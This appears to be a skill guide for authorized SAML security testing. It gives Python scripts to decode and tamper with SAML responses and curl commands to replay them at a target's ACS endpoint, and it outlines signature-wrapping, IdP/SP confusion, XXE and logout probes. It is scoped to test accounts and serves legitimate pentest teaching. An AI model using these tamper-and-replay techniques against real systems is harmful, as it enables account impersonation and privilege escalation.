SAML single sign-on moves trust from a password check to an XML assertion: the identity provider (IdP) signs a statement about a user, and the service provider (SP) trusts it. When the SP verifies that statement loosely, an attacker with only a low privilege test account can often rewrite the statement into a high privilege one. This skill covers authorized SAML testing: decoding the response, probing each validation check one at a time, and proving each gap with a replayed response on a test account. Never test against real users, and never reuse a real user's assertion.
Note on scope overlap: general login and OAuth testing lives in auth-attacks and auth-sso-integration-review. This skill is only the SAML specific layer: the XML, the signature, and the IdP and SP trust checks.
Quick Workflow
- Map the SAML surface: SP initiated and IdP initiated login, the Assertion Consumer Service (ACS) URL, the Single Logout URL, and the metadata endpoints for both sides.
- Capture a genuine SAMLResponse for a low privilege test account with Burp Suite, and decode it fully before changing anything.
- Check the trust anchors first: which certificate the SP trusts, whether the signature is actually verified, and what happens to an unsigned response.
- Probe assertion fields one at a time: NameID, issuer, audience, recipient, destination, conditions, and timestamps.
- Probe signature wrapping: move the signed content, add a second assertion, and see which copy the SP reads.
- Probe IdP and SP confusion: wrong issuer, wrong audience, a response meant for another SP, and a response replayed to a different ACS URL.
- Probe parser level issues: comments, duplicate elements, and external entities in the XML the SP parses.
- Replay each mutated response and record accept or reject, with the exact mutation, so the report is reproducible.
1. Capture and decode a SAMLResponse
Start from a real login, then work offline on your own copy.
# Capture the POST to the ACS URL in Burp Suite, then copy the
# SAMLResponse value out of the request body and decode it locally.
# The value is base64 encoded, and usually also deflated in requests
# (not in responses). For a response, plain base64 decode is enough.
python3 - <<'PY'
import base64, sys
raw = open('/tmp/samlresponse.b64').read().strip()
xml = base64.b64decode(raw)
open('/tmp/samlresponse.xml', 'wb').write(xml)
print(xml.decode()[:2000])
PY
# Pretty print the XML so the structure is readable before editing
xmllint --format /tmp/samlresponse.xml | head -120
# List the fields that matter for every test that follows
python3 - <<'PY'
import xml.etree.ElementTree as ET
ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
'ds': 'http://www.w3.org/2000/09/xmldsig#'}
tree = ET.parse('/tmp/samlresponse.xml')
root = tree.getroot()
print('Response ID:', root.get('ID'))
print('Destination:', root.get('Destination'))
print('Issuer:', root.findtext('saml:Issuer', namespaces=ns))
for a in root.findall('.//saml:Assertion', ns):
print('Assertion ID:', a.get('ID'))
print('NameID:', a.findtext('.//saml:NameID', namespaces=ns))
print('Audience:', a.findtext('.//saml:Audience', namespaces=ns))
print('Recipient:', a.find('.//saml:SubjectConfirmationData', ns).get('Recipient'))
cond = a.find('saml:Conditions', ns)
print('NotBefore:', cond.get('NotBefore'), 'NotOnOrAfter:', cond.get('NotOnOrAfter'))
print('Signature present:', a.find('.//ds:Signature', ns) is not None)
PY
If the SP accepts a response with the signature element removed entirely, stop and report that first: it makes every later test trivial, and it is the highest severity SAML finding.
2. Assertion manipulation
Change one field, re-encode, and replay. Keep the signature in place for the first round: a correct SP rejects a tampered signed assertion, and that rejection is the control result.
# Tamper one field at a time with Python, then re-encode for replay.
# Example: change the NameID of your own test account to another
# test account name that the engagement provided for this purpose.
python3 - <<'PY'
import base64
import xml.etree.ElementTree as ET
ET.register_namespace('saml', 'urn:oasis:names:tc:SAML:2.0:assertion')
ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'}
tree = ET.parse('/tmp/samlresponse.xml')
root = tree.getroot()
nameid = root.find('.//saml:NameID', ns)
print('Original NameID:', nameid.text)
nameid.text = 'victim-test-account@example.com'
out = ET.tostring(root, encoding='utf-8')
open('/tmp/samlresponse-tampered.b64', 'w').write(base64.b64encode(out).decode())
print('Wrote tampered response, same signature, new NameID')
PY
# Replay the tampered response at the ACS URL with curl, using the
# RelayState value from the original request unchanged.
curl -s -i -X POST 'https://target.example/saml/acs' \
--data-urlencode "SAMLResponse@$(cat /tmp/samlresponse-tampered.b64)" \
--data-urlencode 'RelayState=ssotest' | head -30
# Expected on a correct SP: rejection, because the signature no
# longer matches the signed content. Acceptance means the SP does
# not verify the signature, or verifies the wrong part of the XML.
Test each of these fields separately, always on test accounts:
- NameID value and format: does the SP trust the NameID, or an attribute such as email, and can one be swapped without the other?
- Audience: replace the SP EntityID with another value, or remove the AudienceRestriction element, and replay.
- Recipient and Destination: send a response issued for one ACS URL to a different ACS URL on the same SP.
- Conditions timestamps: push NotOnOrAfter into the past, then into the far future, and check whether expiry is enforced at all.
- AuthnStatement values: AuthnContextClassRef downgrade, for example from multi factor to password only, and check whether step up authentication is bypassed.
- AttributeStatement: add or upgrade a group or role attribute (for example a test user granted an admin group value) and see whether the SP authorizes from attributes without checking them against its own directory.
3. XML signature wrapping (XSW)
Signature wrapping is the classic SAML flaw: the SP verifies the signature on one copy of the data but reads a different copy for the login decision. The wrapping variants differ in where the attacker's unsigned assertion sits relative to the signed one.
<!-- Sketch of the wrapping idea, not a ready payload: the original
signed Assertion stays inside the Response so its signature
still verifies, while a second, unsigned Assertion carrying
the attacker's chosen NameID is placed where the SP reads it.
Variants to try, one at a time:
1. Unsigned assertion placed before the signed assertion.
2. Unsigned assertion placed after the signed assertion.
3. Signed assertion wrapped inside an extra element such as
an extension element, with the unsigned copy at top level.
4. Signature element moved so it points at the unsigned copy
by ID, while the signed copy keeps its original ID.
Test each variant on a test account and record which copy the
SP actually logs in as. -->
# Practical wrapping loop: build a wrapped response from the decoded
# XML with Python, re-encode, and replay it at the ACS URL. Keep the
# original signed Assertion byte identical, including whitespace,
# because canonicalization differences can break the signature and
# turn a valid wrapping test into a false negative.
python3 - <<'PY'
import base64
xml = open('/tmp/samlresponse.xml', 'rb').read().decode()
# Locate the original Assertion block and duplicate it as the
# attacker controlled copy. Edit the copy's NameID to a test
# account, leave the original untouched, then rebuild the Response
# with the copy first. This sketch shows the mechanics; the exact
# placement is the variant under test, so vary it per attempt.
assert '<saml:Assertion' in xml or ':Assertion' in xml
print('Assertion block found, length:', len(xml))
print('Next step: place the edited copy before the original,')
print('re-encode with base64, and replay at the ACS URL.')
PY
Also test signature exclusion: some parsers verify the signature over the Response element but read the Assertion, or verify one Assertion and read another when several are present. A response with two assertions where only the second is signed, and a response where the signature references an element by ID that appears twice, are both worth one replay each.
4. IdP and SP confusion
Confusion attacks exploit the SP trusting the wrong party, or trusting a statement meant for someone else.
# Confusion probes, one replay each, all on test accounts:
# 1. Issuer swap: change the Response Issuer to a different IdP
# EntityID that the SP also trusts, if the engagement has two.
# 2. Audience swap: take a response issued for SP-A and replay it
# at SP-B on the same IdP, when both are in scope.
# 3. Destination swap: replay a response at an ACS URL that is
# registered for a different application on the same SP.
# 4. IdP initiated login without an AuthnRequest: POST a response
# directly to the ACS URL with no prior request, and check
# whether InResponseTo is enforced when it should be.
curl -s -i -X POST 'https://target.example/saml/acs' \
--data-urlencode "SAMLResponse@$(cat /tmp/samlresponse.b64)" \
--data-urlencode 'RelayState=' | head -20
Check the metadata handling too: if the SP fetches IdP metadata from a URL, can that URL be influenced, and does the SP pin the certificate from metadata or accept any certificate that chains to a public root? A metadata endpoint that returns an attacker controlled certificate is equivalent to full IdP compromise for that SP.
5. XML parser level issues
The XML parser is part of the trust boundary. Test it with the same caution as any XML input.
# Parser probes to run against the ACS endpoint on a test account:
# 1. Comment injection: put the real NameID inside an XML comment
# and a different NameID in the element, then see which one logs in.
# 2. Duplicate elements: two NameID elements, two Audience elements,
# and check whether the parser takes the first or the last.
# 3. DTD and external entities: send a response with a DOCTYPE that
# defines an external entity, and watch for outbound requests or
# error text that leaks file content. Stop at the detection
# stage; do not exfiltrate real data.
# 4. Namespace confusion: the same element name under a different
# namespace prefix, to see whether the SP matches on local name
# only instead of namespace plus local name.
python3 - <<'PY'
# Safe local check: does your own parser treat comments and
# duplicate elements the way you expect, before you test the SP?
import xml.etree.ElementTree as ET
doc = '<root xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">'
doc += '<saml:NameID>first-test@example.com</saml:NameID>'
doc += '<saml:NameID>second-test@example.com</saml:NameID></root>'
root = ET.fromstring(doc)
ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'}
print('findtext returns:', root.findtext('saml:NameID', namespaces=ns))
print('Lesson: first match wins here, other parsers take the last.')
PY
6. Single Logout and session handling
SAML logout is often weaker than SAML login. Test it separately.
# Single Logout probes:
# 1. Log in through SAML, log out at the SP, then replay the old
# SP session cookie: it must be rejected server side.
# 2. Log out at the IdP and check whether the SP session also dies,
# or stays usable after IdP logout.
# 3. Send a LogoutResponse with a tampered Issuer or Status and
# check whether the SP treats logout as complete regardless.
curl -s 'https://target.example/api/me' -H 'Cookie: session=OLDSESSION' | head -c 300
echo
echo "200 after logout means the SP session survived logout"
Edge cases
- Encrypted assertions: when the Assertion is encrypted, the wrapping and tampering tests move to the decrypted layer. Check whether the SP decrypts before or after signature verification, and whether an unencrypted assertion is accepted when encryption is the documented policy.
- Multiple certificates: IdPs rotate signing keys, and SPs that accept any certificate in the metadata without checking expiry or rollover windows accept stale keys longer than intended.
- Clock skew: a generous skew window plus a long assertion lifetime makes replay practical. Measure both, and test replay of a genuine response after logout and after the stated expiry.
- IdP initiated flow with no RelayState validation: an open RelayState that the SP reflects or redirects to can become an open redirect chained to a valid login.
- Artifact binding: if the SP supports the artifact profile, the artifact resolution request is a second trust boundary. Test artifact replay and artifact binding confusion the same way.
- Case and encoding: NameID comparison that is case insensitive or that normalizes unicode can merge two distinct test accounts. Test with case variants of a test account name only.
- Responses without an AuthnRequest: IdP initiated login is legitimate in some deployments, so confirm with the client whether it is expected before reporting its presence alone.
Key references
- OWASP SAML Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html
- OWASP Testing Guide, Testing for SAML vulnerabilities: https://owasp.org/www-project-web-security-testing-guide/
- SAML 2.0 Core specification, Assertions and Protocols: https://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf
- SAML 2.0 Bindings specification: https://docs.oasis-open.org/security/saml/v2.0/saml-bindings-2.0-os.pdf
- SAML 2.0 Profiles specification: https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf
- XML Signature Syntax and Processing: https://www.w3.org/TR/xmldsig-core1/
